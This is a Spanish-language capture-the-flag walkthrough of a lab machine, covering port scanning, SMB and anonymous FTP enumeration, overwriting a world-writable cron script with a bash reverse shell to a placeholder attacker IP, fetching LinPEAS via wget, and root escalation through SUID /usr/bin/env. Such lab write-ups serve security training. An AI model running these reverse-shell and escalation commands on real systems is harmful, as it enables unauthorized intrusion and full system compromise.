Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso en cualquier CTF es descubrir qué servicios están corriendo en la máquina víctima para mapear la superficie de ataque.
Escaneo Completo de Nmap
Se realiza un escaneo de todos los puertos TCP (-p-) determinando las versiones de los servicios (-sV) a una velocidad agresiva (-T4):
sudo nmap -sV -T4 -p- 10.129.150.217
Resultados Clave de Nmap
El escaneo revela varios puertos abiertos de gran interés:
- Puerto 21 (FTP): Servidor
vsftpd 2.0.8 or later. - Puerto 22 (SSH): Servidor
OpenSSH 7.6p1 Ubuntu. - Puertos 139 y 445 (SMB): Servidor
Samba smbd 3.X - 4.X.
Fase 2: Enumeración de Servicios
1. Enumeración de SMB (Puertos 139/445)
Utilizando herramientas de enumeración para Samba (como enum4linux o smbmap), se inspeccionó el servicio en busca de información accesible sin credenciales (sesión nula o null session).
- Hallazgo de Usuarios: Se logró enumerar el SID del sistema y descubrir un usuario local llamado
namelessone.
- Recursos Compartidos (Shares): Se encontraron los recursos
print$,picseIPC$. - Acceso al recurso
pics: Se comprobó que la sesión nula tiene permisos de READ ONLY (Solo lectura) sobre el recurso compartidopics. Al explorarlo, solo contenía imágenes de perros (corgo2.jpgypuppos.jpeg). Esto resultó ser una pista falsa (Rabbit Hole) o información irrelevante para el vector de ataque principal.
2. Enumeración de FTP (Puerto 21)
Al ver el puerto 21 abierto, el paso obligado es comprobar si el acceso anónimo (Anonymous Login) está habilitado, lo cual es muy común en este tipo de retos.
ftp 10.129.150.217
- Credenciales:
- Nombre de usuario:
anonymous - Contraseña: (dejar en blanco o presionar Enter)
- Nombre de usuario:
El inicio de sesión es exitoso. Al listar los archivos (ls), se encuentra un directorio llamado scripts.
Dentro de la carpeta scripts, hay tres archivos:
to_do.txtremoved_files.logclean.sh
La Vulnerabilidad: Permisos de Escritura
Al examinar los permisos detallados de los archivos mediante ls -la, se observa que el archivo clean.sh tiene los permisos -rwxr-xrwx. La última w indica que cualquier usuario (incluido nuestro usuario anónimo de FTP) tiene permisos de escritura sobre este script.
Fase 3: Explotación y Acceso Inicial
El archivo clean.sh y el archivo de registro removed_files.log sugieren que este script se está ejecutando en el servidor de forma periódica, probablemente a través de una tarea programada del sistema (Cron Job). Si logramos sobrescribir este script con un código malicioso, el servidor lo ejecutará automáticamente en segundo plano.
Pasos para la Reverse Shell
- Descargar el archivo original: Desde la consola interactiva FTP, se descarga el archivo original a la máquina atacante:
get clean.sh - Modificar el script localmente: En la máquina local (Kali), se edita
clean.shpara insertar una reverse shell en Bash:#!/bin/bash bash -i >& /dev/tcp/<TU_IP_DE_TRYHACKME>/9001 0>&1 - Subir el archivo modificado: De vuelta en la consola FTP, se utiliza el comando
putpara sobrescribir el archivo legítimo en el servidor con la versión maliciosa:put clean.sh
- Ponerse a la escucha: En la máquina del atacante, se habilita un puerto a la escucha utilizando Netcat:
nc -lvp 9001 - Conexión recibida: Después de unos segundos (cuando se ejecuta la tarea cron en el servidor víctima), Netcat recibe una conexión entrante. El prompt revela que estamos dentro del sistema como el usuario
namelessone.
Fase 4: Escalamiento de Privilegios
Ahora que tenemos una consola interactiva, el objetivo es escalar privilegios para convertirnos en el usuario root.
1. Enumeración Interna con LinPEAS
Se utiliza el script de enumeración de privilegios LinPEAS para buscar fallos de configuración en el sistema.
- Transferencia: En la máquina de Kali, se levanta un servidor HTTP rápido en Python:
python3 -m http.server 8000 - Descarga en la víctima: En la consola comprometida, se descarga el script:
wget http://<TU_IP_DE_TRYHACKME>:8000/linpeas.sh
- Ejecución: Se le asignan permisos de ejecución y se ejecuta:
chmod +x linpeas.sh ./linpeas.sh
2. Vector de Escalamiento (SUID)
Al revisar la salida detallada de LinPEAS, concretamente en la sección de binarios con el bit SUID activado (archivos que se ejecutan con los privilegios del propietario, en este caso root), destaca el siguiente ejecutable resaltado en rojo y naranja:
- Binario vulnerable:
/usr/bin/env
3. Explotación del SUID para ser Root
Para obtener una shell como root, simplemente se ejecuta el siguiente comando en la terminal comprometida:
/usr/bin/env /bin/sh -p
Nota: El flag
-pes fundamental, ya que le indica a la shell (sh) que no elimine ni descarte los privilegios SUID heredados durante la inicialización.
Al ejecutar esto, el símbolo del sistema cambia a # y al ejecutar whoami se confirma el acceso como root. La máquina ha sido totalmente comprometida.
Fuentes y Referencias
- Reverse Shell Generator (RevShells): Herramienta en línea utilizada para la generación y parametrización rápida de reverse shells.
- GTFOBins: Base de datos y catálogo de referencia de binarios de Unix para comprobar y explotar privilegios de tipo SUID.